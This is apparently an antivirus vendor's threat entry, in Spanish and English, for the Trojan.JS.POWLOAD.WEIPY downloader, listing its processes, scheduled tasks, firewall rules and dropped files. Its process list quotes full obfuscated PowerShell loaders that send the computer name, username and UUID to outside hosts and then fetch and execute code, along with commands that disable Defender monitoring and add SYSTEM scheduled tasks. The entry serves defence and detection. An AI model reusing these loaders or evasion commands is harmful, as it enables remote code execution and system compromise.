Trojan.JS.POWLOAD.WEIPY

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Elimina archivos para impedir la ejecución correcta de programas y aplicaciones.

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Agrega los procesos siguientes:

• "%System%\cmd.exe" /c powershell -w hidden IE`x(Ne`w-Obj`ect Net.WebC`lient).DownLoadString('h{BLOCKED}t{BLOCKED}tp://{BLOCKED}t.amy'+'nx.com/7p.php?0.8*usb_js*{username}*{computername}*'+[Environment]::OSVersion.version.Major);bpu ('h{BLOCKED}t{BLOCKED}tp://{BLOCKED}t.amy'+'nx.com/usb.jsp?js_0.8')
• "%System%\cmd.exe" /c echo Set-MpPreference -DisableRealtimeMonitoring 1
• "%System%\schtasks.exe" /create /ru system /sc MINUTE /mo 120 /tn blackball /F /tr blackball
• "%System%\schtasks.exe" /create /ru system /sc MINUTE /mo 60 /tn \VF658RD /F /tr "powershell -w hidden -c PS_CMD"
• "%System%\schtasks.exe" /run /tn \VF658RD
• "%System%\schtasks.exe" /create /ru system /sc MINUTE /mo 60 /tn OsXjefm8\uwyPrXUWC /F /tr "powershell -w hidden -c PS_CMD"
• "%System%\schtasks.exe" /run /tn OsXjefm8\uwyPrXUWC
• "%System%\schtasks.exe" /create /ru system /sc MINUTE /mo 60 /tn MicroSoft\Windows\0trikY7GU\rDZQPisYojT /F /tr "powershell -w hidden -c PS_CMD"
• "%System%\schtasks.exe" /run /tn MicroSoft\Windows\0trikY7GU\rDZQPisYojT
• "%System%\schtasks.exe" /delete /tn Rtsa2 /F
• "%System%\schtasks.exe" /delete /tn Rtsa1 /F
• "%System%\schtasks.exe" /delete /tn Rtsa /F
• "%System%\cmd.exe" /c netsh.exe firewall add portopening tcp 65529 SDNSd
• "%System%\netsh.exe" interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53
• "%System%\netsh.exe" advfirewall firewall add rule name=deny445 dir=in protocol=tcp localport=445 action=block
• "%System%\netsh.exe" advfirewall firewall add rule name=deny135 dir=in protocol=tcp localport=135 action=block
• taskeng.exe {0BDF1981-81AC-401B-9171-F1CC787BAF39} S-1-5-18:NT AUTHORITY\System:Service:
• %System%\WindowsPowerShell\v1.0\powershell.EXE -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url='http://'+'t.zer'+'9g.com';a($url+'/a.jsp?usb_20200203?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))
• %System%\WindowsPowerShell\v1.0\powershell.EXE -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url='http://'+'t.amy'+'nx.com';a($url+'/a.jsp?usb_20200203?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))
• "%System Root%\Program Files\Windows Media Player\wmpnetwk.exe"
• %System%\svchost.exe -k LocalServiceAndNoImpersonation

Otras modificaciones del sistema

Elimina los archivos siguientes:

• %Windows%\Tasks\blackball.job
• %Windows%\Tasks\VF658RD.job
• %Windows%\Tasks\Rtsa2.job
• %Windows%\Tasks\Rtsa.job
• %Windows%\Tasks\Rtsa1.job

(Nota: %Windows% es la carpeta de Windows, que suele estar en C:\Windows o C:\WINNT).

Agrega las siguientes entradas de registro:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\PortProxy\v4tov4\
tcp\*
65529 = "1.1.1.1/53"

Rutina de infiltración

Infiltra los archivos siguientes:

• %All Users Profile%\Microsoft\Windows\DRM\v3ks.sec
• %AppDataLocal%\Microsoft\Media Player\CurrentDatabase_372.wmdb
• %All Users Profile%\Microsoft\Windows\DRM\drmstore.hds